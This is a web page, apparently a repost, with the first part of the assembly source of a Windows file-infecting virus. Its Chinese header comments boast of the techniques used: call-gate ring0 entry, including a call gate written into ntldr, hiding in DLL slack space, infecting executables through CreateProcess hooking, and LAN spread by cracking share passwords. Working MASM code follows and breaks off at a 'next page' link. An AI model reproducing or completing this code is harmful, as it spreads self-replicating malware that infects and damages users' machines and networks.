;相关技术:;1,进入ring0:在win98用与cih一样的技术,直接往gdt添加callgate;在win 2000/xp/2003里把; callgate写入ntldr里,重启后生效(独创技术,这也是windows 2000/xp/2003的一个漏洞).;2,驻留内存:由于所有dll模块装入内存后,在文件头只使用1k空间,还有3k空间剩余,所以本病毒; 把自身的3k放入kernel32.dll的空隙里,剩下2k放在user32.dll里,但win98比较特殊,剩下2k用vxd的; _pageallocate分配空间.本毒驻留不靠建立进程与globalalloc内存,而是插入模块的空隙里,因此在; 任务管理器里是看不到病毒的,更终止不了它在内存感染文件,所以本病毒难杀就难在这里!很多杀毒; 软件要么找不到本病毒,即使找到了也杀不了或杀不干净,束手无策(独创技术).;3,拦截文件操作:为了在win98与win 2000/xp/2003里通用,采用拦截createprocess函数的方法感染pe文; 件(独创技术).;4,局域网传播:用自身的密码生成器破解远程主机的共享密码,成功后把病毒复制到对方的启动文件夹中.;5,电子邮件传播:呵呵,目前还没有此项功能! 【程序编程相关:关于inline函数】
;写毒目的:;1,崇拜陈盈豪,欲与cih一比高低;;2,传播技术,提高国人的水平(如果你把源程序读懂,并跟踪一遍病毒,你的技术会大大提高);;3,让世界知道中国还是有人的; 【推荐阅读:Hibernate中如何处理一对多关系中】
; 俺的技术也在不断提高,也许还有下一个更厉害的病毒哦,呵呵 【扩展信息:C++沉思录读书笔记(一)代理类】
;危害估计:;1,影响中毒者的正常操作;;2,由于每运行一个程序就建立一个感染局域网线程,这些线程都用到mpr模块,估计运行几个程序后mpr会; 崩溃,引起非法操作(找比尔.盖茨去吧,谁叫他给你的mpr不堪负重?);;3,绝对没有破坏数据,覆盖bios,窃取信息资料等恶意行为.
.586p.model flat,stdcalloption casemap:none
include windows.incinclude kernel32.incinclude user32.incinclude advapi32.incinclude mpr.incincludelib kernel32.libincludelib user32.libincludelib advapi32.libincludelib mpr.lib
virussize = offset virusend-offset virusstartvirussizep1 = offset _othermemposition-offset virusstart ;本毒在内存的感染pe文件部分virussizep2 = virussize-virussizep1 ;本毒的后半部分,不活动
.codevirusstart:noppushfdpushad
db 0e8h,0,0,0,0 ;这是一条call命令,在这里相当于push eippop ebx ;ebx=ebx指令在内存的实际地址mov edx,ebxmov eax,ebxsub ebx,$-5 ;实际地址-设计地址=地址差=重定位值=ebxsub edx,8call _getmoduleaddress ;取得本进程的装载地址add eax,[eax+3ch]mov lpoldpe[ebx],eaxsub edx,[eax+28h]sub edx,[eax+34h]add virusexit[ebx],edx ;edx=本进程的重定位值,修正原来程序入口
mov eax,[esp+24h]call _getmoduleaddress ;取得hkernel32mov hkernel32[ebx],eaxmov callgatesel[ebx],103h
call _getc3address ;在kernel32.dll模块中查找ret(0xc3)的地址
lea esi,[ebx+functionnametab+8] ;首先取得loadlibrarya,getprocaddress,getversion的地址lea edi,functionaddresstab[ebx]mov ecx,3@@:lodsdadd eax,ebxpush eaxpush hkernel32[ebx]call _getprocaddressstosdloop @b
call dwgetversion[ebx]shr eax,31mov dwversion[ebx],eax ;windows 版本放入dwversion变量,98=1,2000/xp/2003=0
call _iswindows9x ;如果是win98马上往gdt中添加callgate
lea esi,[ebx+functionnametab+4*7]mov ecx,4@@:lodsdadd eax,ebx.if dwversion[ebx]mov byte ptr [eax-2],´a´.elsemov byte ptr [eax-2],´w´.endifloop @b ;处理ansi/unicode api函数名
call _processimporttab ;导入所有api函数
lea eax,szuser32[ebx]push eaxcall dwloadlibrary[ebx]mov huser32[ebx],eax
xor edx,edxlar edx,callgatesel[ebx].if dh!=0ech ;如果是第一次感染2000/xp/2003,把callgate写入ntldr,感染桌面的快捷方式对应的exe文件,等待重新启动callgate生效
push 4lea eax,szntldr[ebx]push eaxcall _editfile
call _editlnkfile
.else ;如果是win98或内存中有callgate的2000/xp/2003,就进入ring0dw 9bffhdd offset callgatesel-4mov eax,espmov esp,[esp+4] ;切换堆栈push eax
mov eax,cr0btr eax,16mov cr0,eax ;去掉kernel32模块只读内存页的写保护
mov eax,lpoldpe[ebx]mov edx,dwoldentry[ebx]mov [eax+28h],edxmov edx,dwoldimage[ebx]mov [eax+50h],edx ;恢复进程的入口与映像大小,避过某些程序的自我保护
... 下一页